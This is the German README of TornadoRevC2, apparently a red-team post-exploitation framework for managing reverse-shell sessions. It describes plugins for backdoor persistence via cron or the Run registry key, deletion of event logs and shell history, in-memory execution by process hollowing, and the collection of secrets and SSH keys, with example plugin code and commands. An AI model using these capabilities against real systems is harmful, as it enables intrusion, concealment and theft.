Modulares Post-Exploitation-Framework zur Verwaltung von Reverse-Shell-Sitzungen über TCP/TLS/mTLS mit Plugins für Enumeration, In-Memory-Ausführung, SOCKS5-Pivoting und Persistenz.
Ein leichtgewichtiges, modulares Post-Exploitation-Framework für autorisierte Sicherheitsforschung, Red-Team-Operationen und Penetrationstests. TornadoRevC2 verwaltet Reverse-Shell-Sitzungen auf Linux- und Windows-Hosts über eine einheitliche Operator-Konsole und erweitert die Kern-Sitzungsverwaltung um eine plattformübergreifende Plugin-Architektur für Host-Enumeration, Situationsbewusstsein und operative Aufgaben.
Wichtig: TornadoRevC2 ist ein Session-Handler und Post-Exploitation-Framework – keine Beacon-basierte Command-and-Control-Plattform. Es priorisiert zuverlässige interaktive Shells, strukturierte Operator-Workflows und bedarfsgesteuerte Plugin-Ausführung gegenüber persistenter Agent-Infrastruktur.
Verwenden Sie diese Software nur auf Systemen, die Ihnen gehören, oder auf Systemen, für die Sie über eine ausdrückliche schriftliche Genehmigung verfügen. Sie sind allein für die Einhaltung der geltenden Gesetze und organisatorischen Richtlinien verantwortlich. Die Autoren und Mitwirkenden übernehmen keine Haftung für Missbrauch, Datenverlust oder rechtliche Konsequenzen, die sich aus der Nutzung dieses Projekts ergeben.
Kurze Demo: Sitzungsverwaltung, Plugin-Ausführung, SOCKS5-Pivoting.
TornadoRevC2 ist ein modulares Reverse-Shell-Management-Framework, das eingehende Verbindungen über einfaches TCP, serverauthentifiziertes TLS und gegenseitiges TLS (mTLS) mit Client-Zertifikatsverifizierung akzeptiert und eine einheitliche Operator-Konsole für Sitzungsverwaltung, Host-Aufklärung, chunked Dateiübertragung, In-Memory-Payload-Ausführung, SOCKS5-Pivoting, plugin-gesteuerte Post-Exploitation, strukturierte Berichterstattung und einen integrierten update-Befehl für automatische Git-basierte Updates und nahtlose Handler-Neustarts bereitstellt. Ursprünglich als leichtgewichtiger Reverse-Shell-Handler entwickelt, hat sich das Projekt zu einem erweiterbaren Framework entwickelt, in dem Funktionen wie Firewall-Enumeration, Sammlung von Credential-Store-Metadaten, Netzwerk-Mapping, Browser-Profiling und zusätzliche Post-Exploitation-Funktionalität als unabhängige, modulare Plugins implementiert sind. Das Framework enthält außerdem das make_token-Plugin zum Aufbau neuer C2-Sitzungen über Remote-Protokolle (SSH, WinRM, SMB, RDP, WMI, MSSQL) unter Verwendung von Kommandozeilen-Tools von der Operator-Seite, mit Unterstützung für benutzerdefinierte Ports, NTLM-Hash-Authentifizierung und netexec-Integration, sowie ein upgrade_mtls-Plugin, das eine laufende Sitzung auf den Mutual-TLS-Listener migriert, indem es das Client-Zertifikatsbundle des Handlers auf das Ziel überträgt.
Unterstützte Zielplattformen: Linux und Windows (primär), mit Kompatibilität für generische Unix- und BSD-Umgebungen, wo zutreffend.
| Kategorie | Fähigkeiten |
|---|---|
| Sitzungsverwaltung | Multi-Client-TCP-/TLS-/mTLS-Listener mit automatischem PKI-Bootstrapping · Bedarfsgesteuertes mTLS-Upgrade für laufende Sitzungen · Interaktive PTY/TTY-Shells · Sitzungs-Fingerprinting und Reconnect-Tracking |
| Dateiübertragung | Chunked Upload und Download · SHA-256-Integritätsverifizierung |
| Payload-Ausführung | In-Memory-Ausführung für py, ps, exe, elf, bat und sh |
| Pivoting & Tunneling | SOCKS5-Proxy durch kompromittierte Sitzungen mit automatischer Remote-Bereinigung · Ligolo-NG- und Chisel-Agent-Deployment mit Hintergrund-Persistenz |
| Remote-Sitzungsaufbau | make_token — Aufbau neuer Sitzungen über SSH, WinRM, SMB, RDP, WMI und MSSQL von der Operator-Seite, mit NTLM-Hash-Authentifizierung und netexec-Integration |
| Identitätsübernahme | runas — Ausführung von Befehlen oder Starten einer TLS-verschlüsselten Shell als anderer Benutzer, lokal oder remote, mit Domänenunterstützung und netexec-Integration |
| Enumeration | Abdeckung von Host-Triage, Netzwerk-Posture, Credentials und Browser-Metadaten, Kerberos-Tickets, Linux-Interna sowie Windows-Domänen- und Systemkonfiguration |
| Operative Plugins | Mehrstufiges sicheres Dateilöschen · Hybride Dateiverschlüsselung · Löschen der Shell-History · Löschen von Windows-Ereignisprotokollen |
| Persistenz | Plattformübergreifende Backdoor-Installation mit TLS-verschlüsselten Payloads — cron @reboot unter Linux/Unix, Run-Registry unter Windows |
| Erweiterbarkeit | Laufzeit-Plugin-Laden, -Neuladen und -Entladen · Externe Plugins über TORNADOREVC2_PLUGIN_DIR · Dokumentierte SessionContext-API |
| Berichterstattung | Protokollierung pro Sitzung · Strukturierte Plugin-Ausgabe · HTML-Transkript-Export |
| Selbst-Update | Git-basierter update-Befehl mit Repository-Verifizierung, Fast-Forward-Pull und automatischem Handler-Neustart · Fork-freundlich, mit Divergenzerkennung und sicherem Reset-Prompt |
Nicht unterstützt: Aufgabenplanung oder Beacon-basierte Callback-Infrastruktur.
TornadoRevC2 ist für Umgebungen konzipiert, in denen Deployment-Aufwand und operativer Footprint von Bedeutung sind.
Plugins nutzen native Windows- und Linux-Dienstprogramme und integrierte Systembefehle, die bereits auf dem Zielhost vorhanden sind – netsh, ss, iptables, ufw, firewall-cmd, nft, PowerShell-Cmdlets, nmcli, wevtutil und andere. Collectors rufen diese Tools über den Reverse-Shell-Kanal auf und parsen die Ausgabe remote, wodurch die Notwendigkeit minimiert wird, zusätzliche Binärdateien hochzuladen oder Abhängigkeiten zu installieren.
Plugin-Operationen werden über den bestehenden Reverse-Shell-Kanal ausgeführt und erfordern keine Ablage von Binärdateien, ausführbaren Dateien, Skripten oder temporären Dateien auf dem Zielsystem. Enumerationsaufgaben laufen als native Befehle oder In-Process-Collector-Skripte; Ergebnisse werden als markiertes JSON über die Shell zurückgegeben. Das einzige unvermeidbare Artefakt ist die normale Befehls-History, die von der Shell selbst erzeugt wird.
Wenn eine Enumerationsroutine fehlschlägt, nicht verfügbar ist oder ein Timeout auftritt, bricht das Plugin nicht vollständig ab. Der betroffene Abschnitt bleibt leer oder wird als N/A markiert, während der Rest des Berichts fortgesetzt wird.
Handler-Updates werden über Git auf dem Operator-Rechner bereitgestellt. Der update-Befehl verwendet begrenzte Subprozess-Timeouts, nicht-interaktive Git-Einstellungen und einen schnellen lokalen Shutdown-Pfad, damit der Handler zuverlässig neu gestartet werden kann, ohne bei der Remote-Sitzungsbereinigung zu blockieren.
┌─────────────────────────────────────────────────────────────────┐ │ Operator Console (handler) │ │ Sessions · Transfers · SOCKS · Plugins · Logging · Export · │ │ update │ └────────────────────────────┬────────────────────────────────────┘ │ reverse shell channel (TCP / TLS / mTLS) ▼ ┌─────────────────────────────────────────────────────────────────┐ │ Target Host │ │ Native commands · PowerShell · inline collectors │ │ T_PLUGIN_START + JSON + T_PLUGIN_END │ └─────────────────────────────────────────────────────────────────┘
### Listener-Konfiguration
TornadoRevC2 betreibt **drei unabhängige Listener gleichzeitig**, sodass Implants je nach Bedrohungsmodell des Engagements über Klartext, serverauthentifiziertes TLS oder gegenseitig authentifiziertes TLS eine Verbindung herstellen können:
| Listener | Standardport | Flag | Authentifizierung | Zertifikate |
|----------|--------------|------|----------------|--------------|
| TCP | `4444` | `-p` | Keine | Keine |
| TLS | `8443` | `-tp` | Serverauthentifiziert | `tls_certs/server.pem`, `tls_certs/server.key` |
| mTLS | `9443` | `-mp` | Gegenseitig (Client-Zertifikat erforderlich) | `mtls_certs/`-Bundle (CA + Server + Client) |
Das Flag `-H` legt die Bind-Adresse fest, die von allen drei Listenern gemeinsam genutzt wird. Alle drei können gleichzeitig aktiviert werden; das Deaktivieren eines Listeners ist derzeit nicht erforderlich — lassen Sie den Port frei oder ungebunden, um ihn zu ignorieren.
**Automatische Zertifikatsgenerierung.** Beim ersten Start erstellt der Handler zwei isolierte Verzeichnisse und richtet das benötigte Material ein:```text
tls_certs/
server.pem # self-signed server certificate
server.key # server private key
mtls_certs/
ca.pem # mTLS certificate authority (self-signed, 4096-bit RSA)
ca.key # CA private key
ca.srl # OpenSSL serial counter (auto-generated)
server-mtls.pem # server cert signed by CA
server-mtls.key # server private key
client.pem # client cert signed by CA — ship to implant
client.key # client private key — ship to implant
tornadorevc2/plugins/ shared/ Cross-platform plugins with internal Windows/Linux implementations linux/ Linux/Unix-only plugins and collector builders windows/ Windows-only plugins (rdp, services, eventlogdel, …) api.py SessionContext and @plugin.command registration manager.py Runtime loading, execution, and platform filtering loader.py Automatic module discovery
**Gemeinsame Plugins** (`firewall`, `ports`, `browser`, `credstore` und andere) existieren als einzelne vereinheitlichte Module in `shared/`. **Plattformspezifische Plugins** wie `rdp` und `eventlogdel` befinden sich ausschließlich unter `windows/` oder `linux/` und werden nicht in `shared/` dupliziert.
Collectors geben JSON aus, das in Marker-Token (`__T_PLUGIN_START__` / `__T_PLUGIN_END__`) eingebettet ist. Der gemeinsame Runner parst diese Ausgabe, formatiert einen bedienerorientierten Bericht und speichert die Ergebnisse im Sitzungsprotokollverzeichnis.
---
## Anforderungen & Installation
**Handler (Bediener-Maschine):**
- Python 3.7 oder höher
- OpenSSL (für die automatische TLS- und mTLS-Zertifikatsgenerierung)
- Git (optional; erforderlich für den `update`-Bedienerbefehl)
- Keine Python-Pakete von Drittanbietern erforderlich```bash
git clone https://github.com/kamalx06/TornadoRevC2.git
cd TornadoRevC2
python3 tornadorevc2.py
python tornadorevc2.py
python tornadorevc2.py -H 0.0.0.0 -p 4444 -tp 8443 -mp 9443
python tornadorevc2.py
-c tls_certs/server.pem -k tls_certs/server.key
--mtls-ca-cert mtls_certs/ca.pem --mtls-ca-key mtls_certs/ca.key
--mtls-server-cert mtls_certs/server-mtls.pem --mtls-server-key mtls_certs/server-mtls.key
--mtls-client-cert mtls_certs/client.pem --mtls-client-key mtls_certs/client.key
### 2. Eine Sitzung aufbauen
Stelle eine Reverse Shell aus dem integrierten Katalog (`payloads`) bereit oder verwende dein eigenes Implantat. Beim Verbindungsaufbau weist TornadoRevC2 eine Sitzungs-ID zu und beginnt mit der Protokollierung unter `logs/`.
### 3. Bedienen```bash
status # List active sessions
switch 1 # Attach to session 1
sysinfo 1 # Collect host metadata
run credstore 1 # Credential store metadata
run memorymap 1 1234 # Process memory maps (requires PID)
run inmemory 1 sh ./linpeas.sh # In-memory script execution
update # Pull latest from GitHub and restart (Git installs)
Wenn es über switch <ID> angehängt ist, lass die Session-ID bei nachfolgenden Befehlen weg (run quickenum statt run quickenum 1). Plugin-Auflistungen und TAB-Vervollständigung innerhalb einer Client-Session werden auf Plugins gefiltert, die mit der Plattform dieser Session kompatibel sind.
Der Befehl update ist nur von der Eingabeaufforderung des Haupt-Handlers aus verfügbar. Er überprüft, ob Git installiert ist, bestätigt, dass die Installation ein Git-Arbeitsverzeichnis ist, ruft vom konfigurierten Remote ab, führt einen Fast-Forward-Pull durch, wenn Updates vorhanden sind, und startet den Handler mit derselben ausführbaren Datei und denselben Argumenten neu. Wenn die Installation bereits aktuell ist, gibt er TornadoRevC2 is already running the latest version. aus und lässt den Server laufen.
| Befehl | Beschreibung |
|---|---|
status / ls | Aktive Reverse-Shell-Sessions auflisten |
sessions | Verfolgte Sessions anzeigen, einschließlich getrennter Hosts |
reconnects | Wiederverbindungsverlauf der Session anzeigen |
switch <ID> | An eine interaktive Session-Shell anhängen |
kill <ID> | Eine Session beenden |
rename <ID> <name> / rn <ID> <name> | Einen benutzerfreundlichen Namen zuweisen |
sysinfo <ID> [--stealth|--full] | Host-Informationen sammeln oder aktualisieren |
export <ID> | Ein HTML-Session-Transkript exportieren |
| Befehl | Beschreibung |
|---|---|
plugins / plugins list | Registrierte Plugins auflisten |
plugins list --verbose | Modulpfade und Ladezustand anzeigen |
plugins load <name> | Ein externes Plugin zur Laufzeit laden |
plugins unload <name> | Ein Plugin deaktivieren oder entladen |
plugins reload <name> | Ein Plugin-Modul neu laden |
plugins info <name> | Plugin-Metadaten anzeigen |
run <plugin> <ID> [args...] | Ein Plugin gegen eine Session ausführen |
| Befehl | Beschreibung |
|---|---|
upload [--resume] <ID> <local> <remote> | Upload mit chunked Transfer |
download [--resume] <ID> <remote> <local> | Download mit chunked Transfer |
verify <ID> <remote> / hash <ID> <remote> | Remote-Dateigröße und SHA-256 verifizieren |
| Befehl | Beschreibung |
|---|---|
run inmemory <ID> <type> <local_file> [-- args] [--save-output <file>] | Payload im Speicher ausführen |
Unterstützte Typen: py, ps, exe, elf, bat, sh
| Befehl | In-Session-Form | Beschreibung |
|---|---|---|
socks <ID> <listen_port> | socks <listen_port> | Einen SOCKS5-Proxy durch eine Session starten (lokaler Listener auf 127.0.0.1:<listen_port>) |
socks <ID> test <host> <port> | socks test <host> <port> | TCP-Erreichbarkeit eines internen Hosts durch den Tunnel-Agent testen |
socks <ID> reset | socks reset | Tunnel-Agent-Streams zurücksetzen und gepufferte Daten verwerfen (stoppt keine aktiven SOCKS-Listener) |
socks stop <proxy_id> | socks stop <proxy_id> | Einen SOCKS-Proxy stoppen und Remote-Tunnel-Artefakte bereinigen, wenn kein anderer Proxy die Session verwendet |
tunnels | tunnels | Aktive SOCKS-Proxies, Kanalanzahl und Status auflisten |
| Befehl | Beschreibung |
|---|---|
payloads | Die integrierte Payload-Referenz anzeigen |
update | Auf Updates aus dem offiziellen GitHub-Repository prüfen und nach einem erfolgreichen Fast-Forward-Pull neu starten (erfordert Git; nur Hauptmenü) |
help | Die Befehlsreferenz anzeigen |
exit / quit | Den Handler herunterfahren |
TornadoRevC2 wird mit 51 integrierten Plugins geliefert, die nach Funktion organisiert sind. Alle Plugins im Zusammenhang mit Enumeration sind schreibgeschützt, sofern nicht anders angegeben.
| Plugin | Plattform | Beschreibung |
|---|---|---|
quickenum | Plattformübergreifend | Schnelle strukturierte Host-Triage: Identität, Netzwerk, Umgebung, priorisierte Erkenntnisse |
virtualization | Plattformübergreifend | Erkennung von Virtualisierung, Containern, Orchestrierung und Cloud-Umgebung |
kernel | Plattformübergreifend | Kernel-Version, geladene Module/Treiber, Sicherheits-Mitigations und Kernel-Konfiguration |
integrity | Plattformübergreifend | Secure Boot, BitLocker/LUKS, Code-Signing-Durchsetzung, Kernel-Lockdown und Integritätsschutz |
filesearch | Plattformübergreifend | Dateien nach Pfad, Name, Erweiterung, Größe, Besitzer, mtime durchsuchen (run filesearch help für Optionen) |
packages | Plattformübergreifend | Installierte Software, Paketmanager, Repository-Konfiguration und kürzliche Installationen |
sysinfo | Plattformübergreifend | Host-Metadaten-Sammlung (Handler-Befehl, kein Plugin) |
kerberosenum | Plattformübergreifend | Kerberos-Ticket-Metadaten: Caches, Standard-Prinzipal, Realm, TGT, Service-Tickets, Verschlüsselungstypen, Flags (renewable/forwardable), Keytab-Dateien, krb5.conf/Registry-Konfiguration und Umgebungsvariablen (keine Geheimnisse) |
| Plugin | Plattform | Beschreibung |
|---|---|---|
firewall | Plattformübergreifend | Firewall-Status, Profile/Zonen, Richtlinien und bemerkenswerte Regeln (WDF, UFW, firewalld, nftables, iptables) |
ports | Plattformübergreifend | Lauschende Ports, bestehende Verbindungen, zugehörige Prozesse und Routing |
proxy | Plattformübergreifend | System-, Umgebungs-, PAC/WPAD- und Browser-Proxy-Einstellungen |
vpn | Plattformübergreifend | VPN-Clients, aktive Verbindungen, Adapter und Konfigurationsmetadaten |
| Plugin | Plattform | Beschreibung |
|---|---|---|
credstore | Plattformübergreifend | Metadaten des Credential Store (keine Extraktion von Geheimnissen): Credential Manager, Keyrings, Browser-Speicher |
browser | Plattformübergreifend | Installierte Browser, Profile, Erweiterungen, Lesezeichen und Unternehmensrichtlinien |
clipboard | Plattformübergreifend | Remote-Zwischenablage-Textaufnahme |
secrets | Linux/Unix | Konfigurationsdateien, Umgebungsvariablen, SSH-Schlüssel und Cloud-Anmeldeinformationen |
| Plugin | Plattform | Beschreibung |
|---|---|---|
history | Plattformübergreifend | Shell-Verlauf, Paket-/Update-Protokolle und kürzliche Anmeldeaktivitäten |
mounts | Plattformübergreifend | Einhängepunkte, SMB/NFS-Freigaben, zugeordnete Laufwerke, Container-Dateisysteme |
memorymap | Plattformübergreifend | Prozess-Speicherkarten und geladene Module für eine angegebene PID |
screenshot | Plattformübergreifend | Desktop-Aufnahme, die an den Operator zurückgegeben wird (GUI-Sessions; PNG lokal gespeichert) |
cron | Linux/Unix | Cron-Jobs, System-Crontabs, Benutzer-Crontabs und at-Warteschlangen |
systemd | Linux/Unix | Dienste, Timer, fehlgeschlagene Units und aktivierte Start-Units |
privbins | Linux/Unix | SUID/SGID-Binärdateien, Datei-Capabilities und für Privilegieneskalation relevante ausführbare Dateien |
lsm | Linux/Unix | SELinux, AppArmor und andere Linux Security Modules: Durchsetzungsmodus, Richtlinien und Konfiguration |
journal | Linux/Unix | Strukturierte journalctl-Zusammenfassungen: Authentifizierung, Kernel, Dienstfehler und kürzliche Ereignisse |
sshaudit | Linux/Unix | SSH-Server-Enumeration: effektive sshd-Konfiguration, Authentifizierungsoberfläche, Pivoting-Optionen, Host-Schlüssel, authorized_keys und CA-Vertrauen |
containers | Linux/Unix | Container-Runtimes und Workloads: Docker, Podman, containerd, CRI-O, LXC/LXD und Kubernetes-Indikatoren |
usersessions | Plattformübergreifend | Aktive lokale, Remote-, SSH-, RDP-, Konsolen- und Dienst-Sessions mit Login-/Quellmetadaten |
| Plugin | Plattform | Beschreibung |
|---|---|---|
adinfo | Windows | Domänenmitgliedschaft, Domänencontroller, Gesamtstrukturen, Vertrauensstellungen und OUs |
services | Windows | Windows-Dienste, Starttypen, Binärdateien und Dienstkonten |
scheduledtasks | Windows | Geplante Aufgaben, Trigger, Ausführungskontext und Aktionen |
registry | Windows | Autostart-Schlüssel, Startorte und installierte Software |
eventlogs | Windows | Zusammenfassungen der Protokolle Security, System, Application und PowerShell |
defender | Windows | Microsoft Defender-Status, Ausschlüsse, ASR-Regeln und Drittanbieter-AV |
certificates | Windows | Zertifikatsspeicher, Code-Signing und Unternehmenszertifikate |
rdp | Windows | Remote Desktop-Konfiguration, Status, kürzliche Ziele und Einstellungen |
gpo | Windows | Angewendete GPOs, lokale/Domänen-Sicherheitsrichtlinien, AppLocker, WDAC, SRP und GPO-Skripte |
winrm | Windows | WinRM-Konfiguration, Listener, Authentifizierungsmethoden, Firewall-Integration und Remoting-Status |
drivers | Windows | Installierte Treiber und Kernelmodule, signierter/unsignierter Status, Starttyp und bemerkenswerte Sicherheits-/VM-Treiber |
powershell | Windows | PowerShell-Version, Ausführungsrichtlinie, Protokollierung, Module, Remoting-Einstellungen und Profilpfade |
lsa | Windows | LSA-Schutz, Credential Guard, virtualisierungsbasierte Sicherheit und Konfiguration der Anmeldeinformationssicherheit |
| Plugin | Plattform | Beschreibung |
|---|---|---|
inmemory | Plattformübergreifend | In-Memory-Payload-Ausführung (py, ps, exe, elf, bat, sh) |
make_token | Plattformübergreifend | C2-Sessions über Remote-Protokolle (SSH, WinRM, SMB, RDP, WMI, MSSQL) unter Verwendung von CLI-Tools von der Operator-Seite mit Unterstützung für benutzerdefinierte Ports, NTLM-Hashes und netexec-Integration aufbauen |
nullcrypt | Plattformübergreifend | Eine Datei hybrid verschlüsseln (AES-GCM + RSA-verpackter Schlüssel) und dann das Original über wiper sicher löschen |
wiper | Plattformübergreifend | Konfigurierbares mehrstufiges sicheres Überschreiben (Umbenennen, Abschneiden, Löschen); Profile: quick, standard, dod, thorough, shred |
historydel | Plattformübergreifend | Shell-Verlaufsdateien des aktuellen Benutzers und zugehörigen Speicher löschen |
eventlogdel | Windows | Windows-Ereignisprotokolle über natives wevtutil / Clear-EventLog löschen |
runas | Windows | Befehle ausführen oder eine TLS-verschlüsselte Reverse-Shell als anderer Benutzer (lokal/remote) starten mit Anmeldeinformationsverwaltung, Domänenunterstützung und netexec-Integration |
ligolong | Plattformübergreifend | Ligolo-NG-Tunneling-Agent auf Linux/Windows-Zielen mit Hintergrundpersistenz bereitstellen |
chisel | Plattformübergreifend | Chisel-Tunneling-Agent im Reverse-(Client-) oder Bind-(Server-)Modus bereitstellen; unterstützt SOCKS5 und Hintergrundpersistenz |
persistence | Plattformübergreifend | Eine persistente Reverse-Shell-Backdoor (cron @reboot / Run-Registry) unter Verwendung einer TLS-verschlüsselten Payload installieren |
upgrade_mtls | Plattformübergreifend | Das mTLS-Client-Bundle des Handlers an eine Session pushen und sie über den mTLS-Listener neu starten (Opt-in; betrifft keine anderen Listener) |
In-Memory-Ausführungsmethoden:
| Typ | Methode |
|---|---|
py | Python über exec(compile(...)) |
ps | PowerShell über Invoke-Expression |
exe | Windows PE über In-Memory-RunPE (Process Hollowing) |
elf | Linux ELF über memfd_create mit /dev/shm-Fallback |
sh | Shell-Skript gestreamt über bash -s |
bat | Batch-Skript gestreamt über cmd.exe /Q stdin |
PEASS-ng-Skripte für In-Memory-Privesccheck: github.com/carlospolop/PEASS-ng
Dieser Abschnitt beschreibt, wie TornadoRevC2 mit benutzerdefinierten Plugins erweitert wird. Plugins sind einfache Python-Module, die Befehle mit @plugin.command registrieren und einen SessionContext für die Ziel-Session erhalten. Es sind keine Änderungen am Kern-Handler-Code erforderlich.
Das Plugin-System hat vier Schichten:
| Schicht | Modul | Verantwortlichkeit |
|---|---|---|
| Registrierung | plugins/api.py | @plugin.command-Dekorator, globale Befehlsregistrierung, SessionContext |
| Erkennung | plugins/loader.py | Durchsucht shared/, linux/, windows/ und externe Verzeichnisse; importiert Module |
| Ausführung | plugins/manager.py | Löst Plattform auf, erstellt Kontext, ruft Handler auf, behandelt Fehler |
| Collectors | plugins/shared/runner.py | Marker-Parsing, JSON-Extraktion, Berichtsformatierung, Protokollierung |
Zur Importzeit registriert der @plugin.command-Dekorator jeden Handler in einer threadsicheren globalen Registrierung. Zur Laufzeit validiert PluginManager.run_plugin() die Plattformkompatibilität, konstruiert einen SessionContext und ruft den Handler mit (session, args) auf.
Handler geben einen ganzzahligen Exit-Code zurück: 0 für Erfolg, ungleich null für Fehler. Die Handler-Konsole zeigt Warnungen für Rückgabewerte ungleich null an.
Wähle einen Ort basierend auf dem Plattformumfang und ob das Plugin mit dem Projekt ausgeliefert wird:
| Ort | Umfang | Geladen |
|---|---|---|
tornadorevc2/plugins/shared/ | Plattformübergreifend (interne Windows- + Linux-Implementierungen) | Automatisch beim Start |
tornadorevc2/plugins/linux/ | Nur Linux/Unix | Automatisch beim Start |
tornadorevc2/plugins/windows/ | Nur Windows | Automatisch beim Start |
./plugins/myplugin.py | Extern (beliebiger von dir definierter Umfang) | Auf Anfrage über plugins load |
./plugins/myplugin/__init__.py | Externes Paket | Auf Anfrage über plugins load |
Pfad in TORNADOREVC2_PLUGIN_DIR | Extern (benutzerdefiniertes Verzeichnis) | Auf Anfrage über plugins load |
Layout-Regeln:
common.py, runner.py und __init__.py unter shared/ werden bei der Erkennung übersprungen._ unter linux/ oder windows/ beginnen, sind Hilfsmodule, keine Plugins.shared/ mit interner Plattformverzweigung sein – dupliziere plattformübergreifende Plugins nicht sowohl in shared/ als auch in linux//windows/.rdp, eventlogdel) gehören ausschließlich in windows/ oder linux/.Registriere einen Befehl mit dem @plugin.command-Dekorator:```python
from tornadorevc2.plugins import plugin, SessionContext
@plugin.command(
name="myplugin", # Command name used with run myplugin <ID>
platforms=["linux", "windows", "unix"], # Supported session platforms
description="Short description for plugins list and TAB completion",
)
def run(session: SessionContext, args):
...
return 0 # 0 = success, non-zero = failure
**Plattformwerte:** `linux`, `windows`, `unix`. Linux und `unix` werden als kompatibel behandelt – ein für `linux` registriertes Plugin läuft auf beiden. Standard, falls weggelassen: `["linux", "windows", "unix"]`.
**Mehrere Befehle pro Modul:** Eine einzelne Datei kann mehrere Befehle registrieren, indem `@plugin.command` auf mehrere Funktionen angewendet wird. Jeder erhält einen unabhängigen Namen.
### Ausführungslebenszyklus
Wenn ein Operator `run myplugin 1 arg1 arg2` ausführt:```text
1. PluginManager resolves session #1 and looks up "myplugin" in the registry
2. Platform check: plugin.platforms vs session shell type (unix/windows)
3. SessionContext(handler, client_socket) is constructed
4. Handler invoked: run(ctx, ["arg1", "arg2"])
5. Handler executes remote work via run_shell / run_marked / run_collector_plugin
6. Output printed to operator console; results logged under logs/<session>/plugins/
7. Exit code returned (0 = success)
Innerhalb einer angehängten Session (switch <ID>) wird die Session-ID weggelassen und die Argumente beginnen direkt nach dem Plugin-Namen: run myplugin arg1 arg2.
Verwenden Sie dies, wenn Sie einen schnellen einmaligen Befehl ohne strukturiertes JSON-Parsing benötigen. Der Handler führt einen nativen Shell-Befehl aus, gibt die Ausgabe aus und protokolliert das Ergebnis.```python from tornadorevc2.plugins import plugin, SessionContext
@plugin.command( name="whoami", platforms=["linux", "windows", "unix"], description="Print remote user identity", ) def run(session: SessionContext, args): session.log_event("Plugin whoami: started")
if session.is_windows:
cmd = "whoami /all"
else:
cmd = "id 2>/dev/null || whoami"
output = session.run_shell(cmd, timeout=10.0)
if not output.strip():
session.print("Plugin 'whoami' failed — no output from target.", "red")
session.log_plugin_result("whoami", "", "no output")
return 1
report = output.strip()
session.print(report, "cyan")
session.log_plugin_result("whoami", report)
session.log_command("run whoami", report)
return 0
**Wann zu verwenden:** Einfache Sonden, Einzeiler-Enumeration, Befehle, die keine strukturierten Berichte benötigen.
**Schlüsselmethode:** `session.run_shell(cmd, timeout)`, `session.print(text, color)`, `session.log_plugin_result(name, report, detail='')`.
### Muster 2: Strukturierter Collector (empfohlen)
Verwenden Sie dies für Enumeration-Plugins, die strukturierte Daten auf dem Ziel sammeln und einen formatierten Bericht zurückgeben. Dies ist das Muster, das von allen integrierten Aufklärungs-Plugins (`firewall`, `ports`, `browser`, usw.) verwendet wird.
**Ablauf:**```text
Handler Target host
│ │
├─ session.log_event("started") │
├─ flush shell buffer │
├─ resolve platform (unix/windows) │
├─ build collector command/script ─────►│ Linux: inline Python or native shell
│ │ Windows: PowerShell script in-process
│ ├─ invoke native OS commands
│ ├─ assemble result dict
│ └─ emit __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__
│◄──────────────────────────────────────┤
├─ parse_collector_json(raw) │
├─ formatter(data) → report string │
├─ session.print(report) │
└─ session.log_plugin_result(...) │
Minimales plattformübergreifendes Beispiel:```python from tornadorevc2.plugins import plugin, SessionContext from tornadorevc2.plugins.linux._helpers import build_linux_collector_command from tornadorevc2.plugins.shared.common import format_generic_report from tornadorevc2.plugins.shared.runner import run_collector_plugin from tornadorevc2.constants import PLUGIN_MARK_END, PLUGIN_MARK_START
def _linux_collector_source(): # Runs inside a try/except wrapper on the target. # Call _emit(result) with a JSON-serializable dict — do NOT print markers yourself. return r''' import subprocess result = {'summary': {}, 'processes': []} try: out = subprocess.check_output(['ps', 'auxww'], stderr=subprocess.STDOUT, timeout=10) lines = out.decode('utf-8', errors='replace').splitlines() result['summary'] = {'count': max(0, len(lines) - 1)} result['processes'] = lines[1:51] except Exception as exc: result['summary'] = {'error': str(exc)} _emit(result) '''
def _build_linux_command(): return build_linux_collector_command(_linux_collector_source())
def _build_windows_command(): return rf""" $ErrorActionPreference='SilentlyContinue' $start='{PLUGIN_MARK_START}'; $end='{PLUGIN_MARK_END}' $procs = Get-CimInstance Win32_Process -EA 0 | Select-Object -First 50 ProcessId, Name, CommandLine $result = [ordered]@{{ summary = @{{ count = @($procs).Count }} processes = @($procs) }} Write-Output ($start + (ConvertTo-Json $result -Depth 4 -Compress) + $end) """
@plugin.command( name="processes", platforms=["linux", "windows", "unix"], description="List running processes on the remote host", ) def run(session: SessionContext, args): return run_collector_plugin( session, "processes", _build_linux_command, # callable — built at execution time _build_windows_command, # callable — built at execution time format_generic_report, # turns parsed dict into operator-facing text timeout=25.0, # seconds to wait for marked output )
**`run_collector_plugin` Parameter:**
| Parameter | Typ | Beschreibung |
|-----------|------|-------------|
| `session` | `SessionContext` | Ziel-Session |
| `plugin_name` | `str` | Name, der in Logs und Fehlermeldungen verwendet wird |
| `unix_builder` | `Callable[[], str]` oder `None` | Gibt den Unix/Linux-Shell-Befehl zurück; `None`, falls nicht verfügbar |
| `win_builder` | `Callable[[], str]` oder `None` | Gibt das PowerShell-Skript zurück; `None`, falls nicht verfügbar |
| `formatter` | `Callable[[dict], str]` | Konvertiert das geparste JSON-Dict in einen Report-String |
| `timeout` | `float` | Maximale Wartezeit in Sekunden auf markierte Ausgabe (Standard 30) |
Übergeben Sie `None` für einen Plattform-Builder, um das Plugin auf diesem Betriebssystem als nicht verfügbar zu markieren (siehe [Plattformspezifische Plugins](#platform-specific-plugins)).
Nach dem Speichern eines externen Plugins:```bash
plugins load processes
plugins info processes
run processes 1
Verwenden Sie dies, wenn Sie Argumentvalidierung, dynamische Collector-Erstellung, Nachbearbeitung von Collectors oder dateibezogene Operationen auf der Operator-Seite benötigen, die run_collector_plugin allein nicht abdeckt.
Beispiele in der Codebasis:
| Plugin | Benutzerdefiniertes Verhalten |
|---|---|
memorymap | Erfordert PID-Argument; erstellt Collector dynamisch mit eingebetteter PID |
wiper | Erfordert Remote-Pfad; destruktive Aktion mit Bestätigungsausgabe |
screenshot | Dekodiert Base64-Bild und speichert PNG lokal auf dem Operator-Rechner |
historydel | Führt Collector aus, sendet dann Folge-Shell-Befehl zur Bereinigung des In-Memory-Verlaufs |
clipboard | Benutzerdefinierte Soft-Failure-Behandlung über reason-Feld statt hartem error |
Beispiel für Argumentvalidierung (aus memorymap):```python
import re
from tornadorevc2.plugins import plugin, SessionContext
from tornadorevc2.plugins.shared.runner import _run_collector_marked, parse_collector_json
@plugin.command( name="memorymap", platforms=["linux", "windows", "unix"], description="Enumerate memory maps for a process (requires PID)", ) def run(session: SessionContext, args): if not args or not re.match(r"^\d+$", args[0].strip()): session.print("Usage: run memorymap ", "yellow") return 1
pid = args[0].strip()
session.log_event(f"Plugin memorymap: started for PID {pid}")
session._handler._flush_shell(session._client_sock, timeout=1.0)
unix_cmd = _build_linux_command(pid) # builder accepts runtime args
